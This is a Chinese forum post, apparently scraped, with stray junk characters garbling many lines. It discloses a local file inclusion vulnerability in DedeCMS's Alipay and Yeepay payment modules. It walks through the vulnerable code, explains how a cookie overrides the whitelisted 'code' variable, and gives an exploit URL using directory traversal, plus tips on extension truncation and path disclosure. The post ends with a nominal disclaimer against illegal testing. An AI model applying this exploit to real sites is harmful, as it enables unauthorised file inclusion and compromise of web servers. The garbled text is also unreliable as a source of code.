晚餐吃撑了,瞄下代码消化消化。最近Php0day群里的兄弟都在讨论dede洞多,赶紧下了套,用editplus搜索了几个关键字,果然发现些问题。(话说平时写代码也喜欢用editplus,小巧方便多年习惯)2 v9 ^2 O9 G+ c# T
5 s5 A7 M" m7 A$ G3 ~出现漏洞的两个文件为:
8 z3 z% o$ |( W6 Z% `2 F' V6 dInclude/payment/alipay.php
" ?& f7 N' X" U8 U& uInclude/payment/yeepay.php6 O; }7 r' @( F+ G' [# B7 \" A' r3 K
漏洞均出现在respond方法里,估计这两个文件是临时工写的。
" [7 f7 k9 Q2 g3 C, ]; D6 c3 O/ F7 p7 b6 {5 {- T0 C7 t
Include/payment/alipay.php
$ l& b5 y' o: s- b, G6 U6 L ^% J+ |, V% t9 X6 x
......( t5 D$ _( X; o+ O; \5 ^
function respond()5 W9 I# Z% p2 f5 J$ A
{. j' I+ H5 U1 Q8 ]8 M
if (!empty($_POST))0 i6 m+ q# Y F$ V! n
{2 [- J. |" }9 q$ W
foreach($_POST as $key => $data)
' N9 B" w; y, c% l. |$ I {
$ B$ g& I7 s; @/ I8 w $_GET[$key] = $data;
- Y- o( G1 q, m0 v! w9 i1 A$ t }
9 n# Z& k4 U9 P( n+ H/ O }# T( T {( \ U
/* 引入配置文件 */
( v2 z& w0 d5 s9 h+ s require_once DEDEDATA.'/payment/'.$_GET['code'].'.php';
+ a( v6 v) u4 v& o...... - B3 O2 C9 q8 _" C9 M: b
* U" g& P) H3 [6 {$ B
1 v6 D9 B- h# Q# t大概在133行左右,$_GET[‘code’]没有经过任何判断和过滤。9 n' L( v6 X9 [. P2 T! Y
! m: c3 P% A3 Q4 _5 WInclude/payment/yeepay.php! ]) b$ A/ H# N/ w8 \
+ w X# ?% j+ {$ B1 E1 M) z7 K! N h9 v
& T6 J6 e0 g9 C4 o# t5 Q8 U9 L& r/ ~6 ^: a6 {, H
......
$ q. e. q6 X a) i9 s5 J' R7 p9 { function respond()
5 A: {; u7 b5 O; M6 Z {
4 V7 p& g2 u6 j
: f+ S3 v# o% V ]# Q" t! G /* 引入配置文件 */5 f2 P3 C! T' `$ G
require_once DEDEDATA.'/payment/'.$_REQUEST['code'].'.php';3 q4 F# w! X8 g/ ~' F1 q
3 S+ H/ I% w! l3 a, B$ l6 ]4 l $p1_MerId = trim($payment['yp_account']);1 h6 V/ w; w$ l+ W
$merchantKey = trim($payment['yp_key']);& q5 U4 p5 k4 d
...... 5 D. V$ L$ C& }/ I) l% H/ ~
9 t9 f) Z7 N1 h& U" a) R
8 \+ Q6 @; U& \0 s6 T5 Q! ` + D& K4 v$ i* O- A" \
! A2 A- B, @4 L% a2 }. T& O$ V# w/ m
大概在145行左右,$_REQUEST['code']没有经过任何判断和过滤。1 g6 Y% g! ^8 U) V0 y
1 [9 ]' F1 J: P
这两个方法在plus/carbuyaction.php文件调用。
$ W9 I- Y' Q' q1 q1 a9 W0 B5 i! o& t7 M% ]3 X
plus/carbuyaction.php
7 C6 q1 n$ P: A( v5 ^, l8 X" L& c( l1 N9 q& j. J8 h+ W$ e; h7 V
......$ e5 v6 @7 f* ?
} else if ($dopost == 'return') {& S1 l9 }' ]1 _ b; y3 S j4 W
$write_list = array('alipay', 'bank', 'cod', 'yeepay');: m# f4 ?+ m" R# \" f$ \ Y
if (in_array($code, $write_list))
7 k8 x8 E3 Q5 M {9 c9 c# U' |& v- b5 ]( y
require_once DEDEINC.'/payment/'.$code.'.php';* }: J9 p$ ^% G/ A, D
$pay = new $code;; q0 Z4 a8 x/ I& n
$msg=$pay->respond();
; b: d! m2 S. ]. z4 E; q ShowMsg($msg, "javascript:;", 0, 3000);
. c' Q" F" B1 W+ x; Y exit();
; W# m% c6 h% t9 E6 n7 S2 A } else {/ |( k* V% R: s/ ?% r- G
exit('Error:File Type Can\'t Recognized!');
, e- B) ]# B9 F U8 ~8 F! R }
; D9 m7 m' R3 t}( Q; e; i, ~9 r# I( u, e
......
2 @, d6 @4 \0 ? a/ n/ n# A2 b/ U * L4 E1 K, l* ?2 o/ X- {0 y/ t
/ S% w4 }* d! U* S' A* u0 e . \* x0 _- p% d( |
- Y6 w& L/ k# {! L, C- e6 Y2 ]
4 M+ a% n7 I. c+ T) s6 I S% v, {+ d! ^/ w% h [& w( Z. E, n
大概在334行,当$dopost等于return的时候就开始进入过程了。熟悉dedecms朋友都知道在include/common.inc.php使用了一种类似register_globals的机制。! M# I: d! k5 Z7 F+ L' C, g0 D& p( r
所以$_GET['code']或$_REQUEST['code']会变成$code,而$code是经过判断的,值必须在$write_list数组以内这样才能继续后面的流程调用respond方法触发漏洞。这样的话貌似就无法控制$_GET['code']为任意值了。
! w! s3 c# Y% ~, I; N+ J& w
) ~9 {# v2 S0 F. o" x, \回到include/common.inc.php来看看他的机制。8 Y F9 I/ y( V0 I5 d% V9 s9 p
4 v$ f7 r m: |, @
. b( p/ ^- j6 a" Q/ i# A+ I6 Y8 o, B) V9 }
....... }7 g1 M; ]3 j' X
foreach(Array('_GET','_POST','_COOKIE') as $_request)& H$ Y: c1 y& i+ K# Z( ?5 t
{# T* |5 X- F# y3 K) n
foreach($$_request as $_k => $_v)
% y! w9 N7 w& }& O% Y {9 d& X6 s' X! T
if($_k == 'nvarname') ${$_k} = $_v;( K8 E* X9 |' v Y5 x) z2 L
else ${$_k} = _RunMagicQuotes($_v);' l2 ^1 M( @4 i- F X" T% S
}7 n! O9 `4 w+ X0 x/ |
}
* }3 o4 `; p8 N' A( O' Z( j...... 9 W( Y! ~) H) C9 s' T1 _
大概在79行,可以看到他是从$_GET,$_POST,$_COOKIE这三个全局变量里取值的。嘿嘿,细心点就发现了吧。从他这个优先机制来讲他是先从get再从post再从cookie也就是说最终$code会是以$_COOKIE[‘code’]的值为准,而我们要控制的是$_GET[‘code’]或$_REQUEST['code']只须要$code的值在$write_list数组以内就行了。Exp:http://www.php0day.com/plus/carb ... amp;code=../../tags上面的Exp是包含根目录下的tags.php文件包含其他后缀请自行构造截断,使用exp测试时须要自己添加一个code等于alipay或yeepay的cookie。暴路径:
, |( E6 c/ n, B9 o- }) F由于bank和cod这两个文件并没有respond方法,所以如果code等于bank或者cod时将会暴错泄露路径。注:请勿非法测试,产生后果与本人无关。 |